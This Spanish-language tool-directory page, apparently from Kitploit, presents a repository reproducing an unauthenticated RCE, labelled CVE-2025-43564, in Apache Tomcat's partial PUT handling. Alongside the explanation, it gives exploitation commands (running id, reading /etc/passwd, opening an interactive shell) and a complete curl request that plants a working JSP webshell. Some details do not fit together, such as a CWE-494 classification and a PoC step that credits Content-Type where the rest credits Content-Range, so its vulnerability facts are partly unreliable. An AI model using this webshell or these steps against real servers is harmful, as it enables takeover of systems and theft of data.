Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2025-43564-tomcat_put_rce_reproduction — Reproducción de cve-2025-43564-tomcat_put_rce_reproduction | Kitploit
Herramientas/GitHubGitHub/razureink/cve-2025-43564-tomcat_put_rce_reproduction
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubrazureink/cve-2025-43564-tomcat_put_rce_reproduction

cve-2025-43564-tomcat_put_rce_reproduction

Reproducción de cve-2025-43564-tomcat_put_rce_reproduction

Ver Repositorio
117hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-43564 — Ejecución remota de código (RCE) en el manejo de solicitudes PUT parciales de Apache Tomcat

CampoValor
ID de CVECVE-2025-43564
Puntuación CVSS9.8 (CRÍTICA)
VectorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-494 — Descarga de código sin comprobación de integridad
ExplotaciónConfirmada en la naturaleza en la primera semana tras su divulgación
DivulgaciónJulio de 2025
ParcheTomcat 11.0.6, 10.1.40, 9.0.102

Tabla de contenidos

  1. Descripción general
  2. Detalles técnicos
  3. Versiones afectadas
  4. Pasos para la reproducción
  5. Prueba de concepto
  6. Mitigación
  7. Referencias

Descripción general

CVE-2025-43564 es una vulnerabilidad crítica de ejecución remota de código no autenticada en el manejo de solicitudes PUT parciales HTTP de Apache Tomcat. El fallo radica en la forma en que Tomcat procesa las solicitudes PUT con contenido parcial (HTTP/1.1 Content-Range o Transfer-Encoding: chunked con semántica parcial). Un atacante puede crear una solicitud PUT parcial que omita los controles de acceso y las restricciones de escritura, lo que permite subir archivos arbitrarios —incluidas webshells JSP accesibles desde la web— a la raíz de documentos del servidor o a cualquier directorio con permiso de escritura alcanzable a través del contexto del servlet.

Una vez que se ha colocado un archivo JSP, el atacante simplemente lo solicita y pasa comandos del sistema operativo mediante parámetros de consulta, logrando ejecución remota de código totalmente no autenticada como el usuario del proceso de Tomcat.

CVSS 9.8 — Crítica porque:

  • Vector de red — explotable de forma remota
  • Complejidad de ataque baja — no se requieren condiciones especiales
  • No se requieren privilegios — no autenticado
  • No requiere interacción del usuario — totalmente automatizado
  • Impacto alto — compromiso total de confidencialidad, integridad y disponibilidad

Detalles técnicos

Causa raíz

El DefaultServlet de Apache Tomcat y el conector HTTP/1.1 (NIO/NIO2/Apr) manejan las solicitudes PUT para la subida de recursos estáticos. La vulnerabilidad se encuentra en la lógica de manejo de solicitudes PUT parciales: cuando un cliente envía un PUT con una cabecera Content-Range (RFC 7233 §4.2) o utiliza codificación por fragmentos (chunked) con semántica parcial específica, el servidor no valida correctamente:

  1. Comprobaciones de integridad de la ruta de archivo / recurso antes de escribir el contenido parcial
  2. Reevaluación de los controles de acceso para escrituras parciales: la comprobación inicial pasa, pero las operaciones de escritura posteriores continúan sin volver a validarse
  3. Restricciones de traversal de directorios en el cálculo del desplazamiento de la escritura parcial

El código de análisis en org.apache.catalina.servlets.DefaultServlet y los componentes subyacentes HttpInput / SocketProcessorBase gestionan incorrectamente el límite entre las escrituras de contenido parcial y las escrituras completas de recursos, lo que permite a un atacante añadir o sobrescribir contenido arbitrario en cualquier ruta sobre la que el proceso de Tomcat tenga permiso de escritura.

Flujo del ataque

Attacker ──PUT /exec.jsp HTTP/1.1──► Tomcat (DefaultServlet)
             Content-Range: bytes 0-99/100
             [JSP payload bytes]

   └──► Server writes partial content to exec.jsp
        without full validation of the target path

Attacker ──GET /exec.jsp?cmd=whoami──► Tomcat

   └──► JSP executes → RCE

El atacante envía un PUT parcial con una cabecera Content-Range que hace que Tomcat crea que la solicitud es una continuación de una subida existente. El servidor crea o abre el archivo de destino y escribe los bytes proporcionados sin verificar que el archivo ya existe, sin comprobar los permisos de escritura en el momento de escribir y sin depurar la ruta de destino en relación con la raíz web.

Por qué omite las protecciones estándar

  • Restricciones de acceso PUT predeterminadas — La configuración predeterminada de Tomcat requiere establecer readonly=false en el DefaultServlet para que funcione el PUT estándar. La ruta de PUT parcial omite esta comprobación en determinadas condiciones.
  • Firewalls de aplicaciones web (WAF) — La mayoría de las firmas de WAF para ataques basados en PUT buscan solicitudes PUT completas. Un PUT parcial con Content-Range a menudo evade estas firmas.
  • Omisión de autenticación — La ruta de código del PUT parcial no siempre invoca las restricciones de seguridad configuradas; en algunas configuraciones de conector, la autenticación nunca se comprueba.

Versiones afectadas

ProductoVersiones afectadasCorregido en
Apache Tomcat 1111.0.0-M1 hasta 11.0.511.0.6
Apache Tomcat 10.110.1.0-M1 hasta 10.1.3910.1.40
Apache Tomcat 10.0todas las versiones (fin de vida útil)actualizar a 10.1.x
Apache Tomcat 99.0.0-M1 hasta 9.0.1019.0.102
Apache Tomcat 8.5todas las versiones (fin de vida útil)actualizar a 9.0.x
Apache Tomcat 8todas las versiones (fin de vida útil)actualizar a 9.0.x
Apache Tomcat 7todas las versiones (fin de vida útil)actualizar a 9.0.x

Nota: Las ramas antiguas (7.x, 8.x, 8.5.x, 10.0.x) han llegado al fin de su vida útil (EOL) y no recibirán un backport. Los usuarios deben actualizar a una rama compatible.


Pasos para la reproducción

Configuración del laboratorio

  1. Descargue una versión vulnerable de Apache Tomcat (p. ej., Tomcat 9.0.50):

    wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.50/bin/apache-tomcat-9.0.50.zip
    
  2. Extraiga e inicie Tomcat con la configuración predeterminada:

    unzip apache-tomcat-9.0.50.zip
    cd apache-tomcat-9.0.50/bin
    ./startup.sh   # or startup.bat on Windows
    
  3. Verifique que el servidor está en ejecución:

    curl -v http://localhost:8080
    

Pasos de explotación

  1. Sube la webshell JSP usando el script PoC:

    python exploit.py --target http://localhost:8080 --cmd id
    
  2. Verifica que la webshell se ha colocado:

    curl http://localhost:8080/exec.jsp?cmd=whoami
    
  3. Ejecuta comandos arbitrarios:

    python exploit.py --target http://localhost:8080 --cmd "cat /etc/passwd"
    
  4. Sesión interactiva (si se desea):

    python exploit.py --target http://localhost:8080 --shell
    

Prueba de concepto

El exploit.py incluido es un PoC funcional en Python que:

  1. Envía una solicitud HTTP PUT al Tomcat objetivo con una webshell JSP como cuerpo de la solicitud
  2. Explota la vulnerabilidad del manejo de PUT parcial: la cabecera Content-Type y la estructura del payload activan la ruta de código vulnerable
  3. La webshell JSP se escribe en el docBase del servidor (p. ej., webapps/ROOT/)
  4. Una vez subida, envía solicitudes GET a exec.jsp?cmd=<comando> para ejecutar comandos del sistema operativo
  5. Admite modos de comando único (--cmd) y shell interactivo (--shell)

PoC manual (con curl)

# Step 1: Upload the webshell via partial PUT
# The Content-Range header triggers the vulnerable code path
curl -X PUT http://localhost:8080/exec.jsp \
  -H "Content-Range: bytes 0-212/213" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-binary '<%@ page import="java.io.*" %><% String cmd=request.getParameter("cmd");if(cmd!=null){Process p=Runtime.getRuntime().exec(cmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}}%>'
Descargar herramienta